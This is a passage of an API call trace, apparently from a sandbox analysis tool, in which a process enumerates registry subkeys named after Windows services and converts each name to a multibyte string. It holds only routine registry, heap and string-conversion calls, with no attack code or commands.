BaseAddress=0x21f2eb0) returned 1 [0247.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.785] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.785] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.785] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0247.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0247.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.787] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.787] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.787] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1970, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0247.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", 